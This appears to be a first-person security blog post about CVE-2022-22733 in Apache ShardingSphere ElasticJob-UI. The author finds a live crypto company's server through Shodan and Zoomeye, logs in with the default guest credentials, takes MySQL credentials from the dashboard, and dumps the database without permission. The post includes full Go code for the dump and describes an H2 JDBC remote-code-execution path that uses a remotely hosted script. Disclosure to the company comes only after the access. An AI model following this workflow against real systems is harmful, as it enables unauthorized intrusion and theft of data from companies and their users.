CVE Analysis: Hacking a Crypto Network for Profit

5 minute read

Introduction

Welcome, everyone. In this blog post, I will share the story of how, in June 2023, I successfully dumped the database of a crypto network, ultimately leading to the ability to achieve remote code execution. This was accomplished during my research and analysis of a CVE affecting one of Apache’s products.

About the CVE

CVE-2022-22733 is a critical security vulnerability affecting Apache ShardingSphere ElasticJob-UI, particularly in versions 3.0.0 and earlier. The vulnerability occurs within the UserAuthenticationService class, where the getToken() method returns a Base64 encoded string representing the entire UserAuthenticationService object. This encoded token includes sensitive information such as the root and guest usernames & passwords. Which when we decode it, We can find the root credentials, Which Allows to escalate privileges to the highest level within the application. You can read the full analysis from here.

Identify Targets

When identifying targets that use a particular product vulnerable to an exploit, internet search engines are invaluable tools. They help us locate instances of the application running online, enabling us to test our exploit.

Search Engines

For this task, I utilized Shodan and Zoomeye. Although I didn’t find many targets, I encountered a recurring target in both Shodan and Zoomeye:

Zoomeye:

Shodan:

Query Used: title:"ShardingSphere"

Exploit the CVE

After identifying a target, the first step was to log in using the guest account (guest:guest):

IFu8FVvrjhyMLZCrdXgYZA5BUdUoJRzwwCSPF0ry

Credentials on the Dashboard

Before doing anything else, I explored the configurations accessible with the guest account. I wanted to check if the target was vulnerable and gain a complete understanding of the setup. While navigating the Event Trace data source tab, I discovered a MYSQL database data source, complete with the username and password:

I tested these credentials and was able to connect to the database successfully.

Dump the Database

Once connected to the MYSQL database, I proceeded to dump the tables to examine the data:

From the data, I identified information that allowed me to contact the company. I informed them of the vulnerability, as I realized I could manipulate the data. In response, they launched a bug bounty program on one of the Web3 platforms.

I showed them a go code, Which I wrote to dump the whole database:

package main

import (
	"database/sql"
	"fmt"
	"os"
	"time"

	_ "github.com/go-sql-driver/mysql"
)

const (
	hostname     = "server_ip"
	username     = "username"
	password     = "password"
	databaseName = "datyabase"
)

var tablesToDump = []string{
	"tables...."
}

func main() {
	db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", username, password, hostname, databaseName))
	if err != nil {
		fmt.Printf("Error connecting to MySQL server: %v\n", err)
		return
	}
	defer db.Close()

	backupDir := "backup"
	if _, err := os.Stat(backupDir); os.IsNotExist(err) {
		os.Mkdir(backupDir, 0755)
	}


	timestamp := time.Now().Format("2006-01-02_15-04-05")


	for _, table := range tablesToDump {
		backupFile := fmt.Sprintf("%s/%s_%s.txt", backupDir, table, timestamp)


		file, err := os.Create(backupFile)
		if err != nil {
			fmt.Printf("Error creating backup file for table %s: %v\n", table, err)
			continue
		}
		defer file.Close()

		rows, err := db.Query(fmt.Sprintf("SELECT * FROM %s", table))
		if err != nil {
			fmt.Printf("Error executing query for table %s: %v\n", table, err)
			continue
		}
		defer rows.Close()

		for rows.Next() {
			columns, err := rows.Columns()
			if err != nil {
				fmt.Printf("Error retrieving column names for table %s: %v\n", table, err)
				break
			}

			values := make([]interface{}, len(columns))
			columnPointers := make([]interface{}, len(columns))
			for i := range values {
				columnPointers[i] = &values[i]
			}

			err = rows.Scan(columnPointers...)
			if err != nil {
				fmt.Printf("Error scanning row data for table %s: %v\n", table, err)
				break
			}

			rowData := make([]string, len(columns))
			for i, v := range values {
				if v != nil {
					byteValue, ok := v.([]byte)
					if ok {
						rowData[i] = string(byteValue)
					} else {
						rowData[i] = fmt.Sprintf("%v", v)
					}
				}
			}

			_, err = file.WriteString(fmt.Sprintf("%s\n", rowData))
			if err != nil {
				fmt.Printf("Error writing row data for table %s: %v\n", table, err)
				break
			}
		}

		fmt.Printf("Backup created for table %s: %s\n", table, backupFile)
	}

	fmt.Println("Backup completed for all specified tables")
}

Note: Always inform the company before taking any further steps. Unauthorized actions are unethical and potentially illegal.

Going Further

In CVE-2022-22733, after obtaining root credentials through an initial privilege escalation vulnerability, You can exploit the JDBC interface to achieve Remote Code Execution (RCE). By Configuring a malicious data source using the H2 database driver, crafting a JDBC URL that points to a script hosted on a remote server. This URL includes commands to execute the script upon database initialization. The script, often containing commands to exploit the system’s shell (like running calc.exe), is executed when the connection is tested, leading to full RCE on the target server. But As It’s aganist law cause we can’t perform any actions like that, But we still have the ability to go into the server.

You ca Read my exploitation part from the analysis for more information from here.

Conclusion

By exploiting this vulnerability, I was able to gain access and subsequently connect to the target’s database. After successfully dumping the database, I responsibly disclosed the findings to the company, leading to the initiation of a bug bounty program on a Web3 platform. Although through the JDBC interface, it can be abused, Which could lead to Remote Code Execution (RCE).

Zeyad Azima